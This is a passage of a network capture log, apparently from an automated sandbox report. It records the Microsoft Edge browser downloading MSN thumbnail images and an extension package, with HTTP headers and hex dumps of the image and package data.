2024-11-11 18:17:52 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msMIu Last-Modified: Tue, 05 Nov 2024 15:19:54 GMT X-Source-Length: 111207 X-Datacenter: northeu X-ActivityId: 42dffd68-ac10-4361-afb2-1d8eddd0b106 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 111207 Cache-Control: public, max-age=291728 Expires: Fri, 15 Nov 2024 03:20:00 GMT Date: Mon, 11 Nov 2024 18:17:52 GMT Connection: close
2024-11-11 18:17:52 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 18:17:52 UTC	16384	IN	Data Raw: 90 8a 00 01 d7 29 e4 96 3b 11 b2 7c 37 d4 58 4c 20 cf 48 94 cd 6b 89 10 0c 9b 0c a7 91 46 20 a8 68 06 77 bf cb 4b 20 4b 4f 0f 16 d5 12 dc 22 a0 cc d0 e9 c2 bc b5 5a b4 37 10 c6 48 6d a4 b6 09 13 c3 38 d2 47 35 91 15 d3 2f 17 40 c4 93 02 c0 09 22 00 9b de e6 a7 be 8b 3b d7 cd 3c 4c 99 1f 34 09 34 bf 2e 68 0d a3 be 99 c4 6b f2 49 ac 27 84 cd 21 a4 18 0e 83 43 30 78 18 20 f9 a0 12 ec 25 98 88 6c e2 8b c1 20 45 35 c9 28 89 18 a6 24 4c 44 f7 4e 6a 1a a2 06 71 9f 6f 04 19 e6 8c 27 ee e2 11 92 62 f6 99 8c a7 95 10 67 12 88 69 36 1c 4f 60 94 c2 b7 50 8a 5e 64 78 95 06 48 c1 4c a2 82 04 63 32 33 cd 1b 00 08 b9 b8 33 10 82 07 7b 5c c7 10 e1 86 d4 e0 44 8f 25 9d 93 56 4c 5b d1 48 b4 f1 85 44 69 ad 67 2b c0 ad f1 08 bf 92 12 41 b5 a3 4f 8a d5 cc c2 2c e6 b8 5a e3 8e Data Ascii: );\|7XL HkF hwK KO"Z7Hm8G5/@";<L44.hkI'!C0x %l E5($LDNjqo'bgi6O`P^dxHLc233{\D%VL[HDig+AO,Z
2024-11-11 18:17:52 UTC	1593	IN	Data Raw: 36 0b 48 71 77 b8 93 88 5c da 26 6b 1f f5 2a 6f d9 06 5c 01 70 19 fe d6 a2 ba 1f 8f 6c 82 5c 20 82 04 5b 8c de d0 2f 43 32 b1 db 0e 87 b4 3e 01 c8 98 c5 17 1d 88 29 6e b3 01 8c 25 b6 16 75 cd 39 0a f2 b2 e7 8b ae 96 e3 5c f6 b8 80 48 17 71 ca b1 27 bd 55 30 1a 07 6d ab 9e 64 f2 b2 32 c9 ad bd 40 e3 95 3b d6 e0 90 d1 73 59 e4 6d 7f 1a 2a f2 ba 1b 6c 70 63 77 03 da c0 fc 6d 9c 5e e0 5a 2e 30 b2 5e 03 a6 04 88 2b 4c b0 dc c3 95 bd 7d 05 54 60 64 3c 39 a4 c0 18 5c 2c 43 f2 0e c4 60 34 df 15 a6 c8 34 4d 8f 25 6f aa e9 9f d2 bc 6d bd 8e 63 b0 b4 96 98 9f 70 90 60 73 51 5c fc 06 6e 3b 15 8c 0c 2f 83 b8 30 88 18 c3 4d 35 0d 80 ea 6a b2 06 1c 01 18 86 62 48 9f 85 d1 33 e5 e0 a8 1d ed 18 a6 5c 74 91 12 32 b5 e2 d4 0a 09 88 9a 79 2d 03 a7 0e 22 5c 32 83 31 26 e2 0d Data Ascii: 6Hqw\&ko\pl\ [/C2>)n%u9\Hq'U0md2@;sYmlpcwm^Z.0^+L}T`d<9\,C`44M%omcp`sQ\n;/0M5jbH3\t2y-"\21&
2024-11-11 18:17:52 UTC	16384	IN	Data Raw: 1a d5 00 d1 99 20 52 d7 33 ca 45 94 7b b1 12 60 0e 0d b0 4b 68 c9 51 30 89 c8 f1 5a b5 e5 82 46 79 5e 0c 6a 28 63 45 98 bf 1e 09 c5 33 9c b9 70 40 8e 71 75 cf 90 02 a7 82 7e 20 81 22 93 27 95 2a 6b de 88 d0 5c 9a 88 c8 5f cd 24 03 97 c1 06 4a c0 36 89 e2 07 13 5c b8 24 8a c6 99 fc 91 01 51 6b 6d f0 e0 40 04 83 98 04 76 1b 2d b1 5d b5 f6 fc 8f 1f 98 54 04 4f 25 68 03 31 e2 c8 3a 0f 77 dc 71 74 c9 75 fd ce 24 d3 3e 27 b9 1f ba 5f 51 19 08 b0 88 19 8c d5 51 62 6e 39 d6 55 a2 e7 3e 6d 00 1c 56 b0 18 e2 c0 4c 01 a0 45 5a 6d a0 10 33 04 7e d7 91 55 a3 1d 82 c4 83 06 6d 79 e4 b0 74 30 59 ce 24 92 28 0b 4f fd 59 f7 08 e2 98 39 a6 20 7e 22 0d e2 4e 53 59 e3 11 dc 8a b8 e7 62 8c 30 49 a0 6c b8 c9 b0 06 7c 15 4f 7a 1c 32 14 ca b1 c4 dc 77 2d 00 c7 a3 00 69 31 6f 32 Data Ascii: R3E{`KhQ0ZFy^j(cE3p@qu~ "'*k\_$J6\$Qkm@v-]TO%h1:wqtu$>'_QQbn9U>mVLEZm3~Umyt0Y$(OY9 ~"NSYb0Il\|Oz2w-i1o2
2024-11-11 18:17:52 UTC	16384	IN	Data Raw: 58 5a f9 df 85 7d 11 40 03 90 4c 10 44 dc 94 4c 39 20 83 c1 4c 0e 12 0e 68 77 26 40 62 d3 dd 3c 51 11 9a 69 31 12 62 66 26 dc e1 44 01 38 4a 8c 20 30 99 40 8c 4a 09 09 fd b0 2c 67 3f 94 0f 54 a9 e1 02 27 0a 64 98 44 66 80 5a 4d 88 d3 3e da 20 8a 30 82 45 ed 3e 2a a2 35 4d a6 68 16 10 4d 0b 40 35 ce 9f b2 04 01 48 4d 09 a3 bd 51 9a 91 75 a6 15 38 78 28 12 14 8a a6 84 61 06 68 c1 4f 08 41 40 00 10 4c d2 2d af ed c5 2a d4 92 eb 9b 94 22 e8 12 14 84 ea 42 a1 53 26 02 51 bd 3c b8 a0 55 16 b8 69 68 91 69 b7 62 58 44 08 40 2d 08 13 63 23 29 b7 c5 00 23 e2 81 68 b5 fb 8f 20 c9 07 db 84 62 13 0d d1 b3 31 19 45 16 70 9a d1 9f 11 e2 be 48 8c d1 51 32 02 60 58 5f 8f 1d 2a 7f 54 8a de d0 04 b9 d8 01 6b 41 b6 2c 20 1a 0b 99 26 f9 67 45 99 73 9e 04 9f c4 5b bc c9 8e dc Data Ascii: XZ}@LDL9 Lhw&@b<Qi1bf&D8J 0@J,g?T'dDfZM> 0E>5MhM@5HMQu8x(ahOA@L-"BS&Q<UihibXD@-c#)#h b1EpHQ2`X_*TkA, &gEs[
2024-11-11 18:17:52 UTC	7952	IN	Data Raw: 59 76 3a 60 3e ee 20 7d bb 5b 65 b3 a9 b7 90 b8 5c 0d e6 12 f0 23 13 9a cc 5a 0c 4f f6 b7 f4 e2 57 6b 71 c3 63 a0 7b c7 b7 f1 12 73 15 3d ee 06 3b d7 9e f8 77 8a 7b 5b bf e0 ea 3a 8c 9c 03 5b 3c 4f eb 55 c2 fa b6 ce 1d 80 44 d7 11 19 47 e3 3c 81 a7 35 d8 68 c5 d1 ec b0 d0 c3 ce 55 38 80 8e e5 cc fa eb fd 9b 60 12 66 27 b8 4f cd 27 ed 3d d2 fe b7 d9 e2 ba 76 0d cd ed a6 11 67 3d a0 ce 84 dd 75 7e a8 f2 ed e8 b7 b5 a0 08 f1 e4 b9 9b 36 dd db a7 e4 da 89 cf 49 bf 25 67 a8 f7 6f bf 39 79 1c ef 0b d5 67 71 e7 9f ad 7a 2d cd bf b3 f4 fd 81 ed 0e c3 8a 08 9a 9c 47 80 24 18 55 fe 96 3f cc ef e9 56 fe aa f0 3e d6 d5 00 80 62 a0 36 d4 d5 55 fa 67 ff 00 71 ff 00 41 5c b5 e3 3f 5b 5d 36 ff 00 c7 ae 46 13 c2 61 6f 3f 35 a7 1c 33 85 21 69 08 99 28 61 92 90 b4 85 21 02 Data Ascii: Yv:`> }[e\#ZOWkqc{s=;w{[:[<OUDG<5hU8`f'O'=vg=u~6I%go9ygqz-G$U?V>b6UgqA\?[]6Fao?53!i(a!
2024-11-11 18:17:52 UTC	16384	IN	Data Raw: ff 00 33 36 1d 40 f6 f6 10 29 de bc d8 b7 dc cc 35 db be 60 67 e2 17 4f e9 ef 2e e9 83 66 7e db 8c 46 92 42 d5 fe 8c ff 00 72 bc 44 ea b1 ca b7 f1 9a eb 6f 89 38 87 f2 17 f9 ae 6b ad c4 77 67 5c 97 79 73 1e 7b 31 70 5a cd e1 2d ad ca fc f8 23 a5 6e 98 e6 69 98 8a 05 a6 19 de 38 22 14 24 ba bf 04 c8 1a 39 65 9a d2 d5 33 61 97 92 a7 ba fc 00 40 89 22 fc fe 2b b7 b4 c6 48 b7 79 26 3b 17 3d b6 c3 a6 ba e5 87 44 ff 00 b8 5d 91 9a 71 12 b9 9f 57 ff 00 1f d8 dd bc b4 c7 8e f4 dd 1b 8b 5f ba 2b 85 e3 c7 9a 9f 5a 97 f4 e0 8b 80 e0 4e ba 7c 17 2f e4 ed fc 5c 5f a8 90 fd fd 97 b4 89 73 05 69 c0 cd 17 b0 e9 f7 3e e7 4d 8a e4 c0 c5 ac c6 9c 75 5e 2b 03 77 3a 36 1f e5 88 06 b8 93 63 34 f3 5d 8f a5 f5 0e 6b 9d b2 fa 8f 6b 81 e0 79 76 25 9d 7b 12 f7 ee c3 ea cc c2 f6 3c Data Ascii: 36@)5`gO.f~FBrDo8kwg\ys{1pZ-#ni8"$9e3a@"+Hy&;=D]qW_+ZN\|/\_si>Mu^+w:6c4]kkyv%{<
2024-11-11 18:17:52 UTC	16384	IN	Data Raw: a9 d8 fa 1d b2 72 fb 7d 82 40 f5 58 9f c2 fc 9a bf ce 7c db fd 34 fd a7 ec 4c 5a 5a 7f ea 9f 2a 2e b7 5e c2 77 36 e2 08 2d 78 91 c8 e1 1d ab 93 b6 25 ad 73 6f ed 6b 86 be d2 bb db a4 3f 66 62 ec 97 7c 57 3b cb a4 e1 c5 dc 7e 1e 88 bb 46 ee 0e d4 7e 9e cc 3d 13 4e 8e 2f ed f6 c2 ac ef 77 40 ff 00 e9 9f 2b f9 ae 87 d3 ff 00 fb 3d bf e8 70 f3 2a df d7 e6 93 99 ec f2 7d 50 fb 3d 50 7b 63 dc 43 f9 19 bf 9a bb d1 ee fd be b7 10 a6 36 cf 78 83 e6 8f 58 d1 f7 f6 da 45 a5 c3 4a b4 5b b5 70 98 e2 cd cc 72 4b 9b ee 20 ea d3 70 bb fe d3 e4 e1 6f c3 7e 6f a2 75 a0 19 9f f5 c3 dd 71 f3 f2 5c 4f a1 ee 10 fd cd 92 4c 3e de ab b3 bb b8 dd fe 9d bb ad bf b2 4d b3 17 12 bc af d3 1c 5b ba d2 2c ef b8 3b 0c 82 b8 c9 f8 57 5b fb 6a f4 db db 78 5b d4 6d 1a e0 90 79 47 aa e6 ec Data Ascii: r}@X\|4LZZ.^w6-x%sok?fb\|W;~F~=N/w@+=p}P=P{cC6xXEJ[prK po~ouq\OL>M[,;W[jx[myG
2024-11-11 18:17:52 UTC	3880	IN	Data Raw: fb 9b 2e 6d 20 c7 8b aa 80 da 15 e5 17 be e3 f3 ef fd 53 3b 74 36 e6 07 8f 15 55 81 2d cb c7 7a 52 5b 84 cd b5 e4 50 5f ea 77 1e e6 80 18 03 9b a0 89 91 a5 0f aa aa dd bd 9d dc 1b 8d 0d 05 8d 00 b5 c3 31 52 e1 fe ab 33 69 88 3a 57 b6 13 6c 3b ef 3a 0b 46 20 6d 80 88 22 24 82 49 91 45 7c 23 67 38 3c 07 08 04 d8 96 d0 9e 17 b0 e6 9f 03 fd c5 8d 9e 32 01 a6 5a 8c d2 63 20 96 d0 72 a7 8f 35 b3 5d 85 b6 6d 64 58 dc 5b 2f 82 ca aa b3 6f 60 01 bb b8 61 ce 30 06 4e 13 53 72 da ab cf 63 89 01 e5 ac 71 70 86 01 62 d1 93 ab 78 8c c5 d7 3f 70 b7 0e 16 10 44 49 6c 79 8a 8f 82 b1 b7 8a 48 7d 5a c8 65 68 48 32 0c c1 ca 85 52 17 ec 32 6c d8 70 73 b1 11 19 9b 83 5b 5f 3a 2a e5 8c db 70 d9 6b 24 3b 13 b0 e2 d3 89 36 d7 82 b1 b5 f7 36 f1 17 00 4f 09 83 35 96 9a 18 5a bd af Data Ascii: .m S;t6U-zR[P_w1R3i:Wl;:F m"$IE\|#g8<2Zc r5]mdX[/o`a0NSrcqpbx?pDIlyH}ZehH2R2lps[_:*pk$;66O5Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49850	104.117.182.72	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:52 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 07 Nov 2024 12:58:05 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ba24fde8-14e0-48b8-a3cb-6556d76b4d9b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=67248 Expires: Tue, 12 Nov 2024 12:58:40 GMT Date: Mon, 11 Nov 2024 18:17:52 GMT Connection: close
2024-11-11 18:17:52 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	49852	104.117.182.72	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:52 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=416047 Expires: Sat, 16 Nov 2024 13:51:59 GMT Date: Mon, 11 Nov 2024 18:17:52 GMT Connection: close
2024-11-11 18:17:52 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	49854	104.117.182.72	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:52 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sun, 10 Nov 2024 06:14:35 GMT X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=302232 Expires: Fri, 15 Nov 2024 06:15:04 GMT Date: Mon, 11 Nov 2024 18:17:52 GMT Connection: close
2024-11-11 18:17:52 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49853	104.117.182.72	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:52 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 16 Oct 2024 13:27:27 GMT X-Datacenter: westus X-ActivityId: e052a22a-abc6-4901-8eb3-22f69d832642 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=112341 Expires: Wed, 13 Nov 2024 01:30:13 GMT Date: Mon, 11 Nov 2024 18:17:52 GMT Connection: close
2024-11-11 18:17:52 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49858	23.219.161.135	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731953869&P2=404&P3=2&P4=bNfsUDwHRUwtH1zhIJ1JtKDP0LZH3klam09q%2b0ReE12FgNSpzWxZqoyzDxVvq428ykiYSzq2QBgjwmrZzHuidg%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: OeRk+swdN4p4aKFF+0aKEP Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:52 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: e85a8028-10ae-4603-830d-6215221095f2 MS-RequestId: 49dc0a99-7d29-4bbb-962f-49177daf88d3 MS-CV: X1pYS0mV4d+mEUI9hBSVmB.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86400 Date: Mon, 11 Nov 2024 18:17:52 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.35.17.151,b=150155722,c=g,n=US_NJ_EDISON,o=20940],[c=c,n=US_NJ_SECAUCUS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.97112317.1731349072.8f331ca Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-11 18:17:52 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 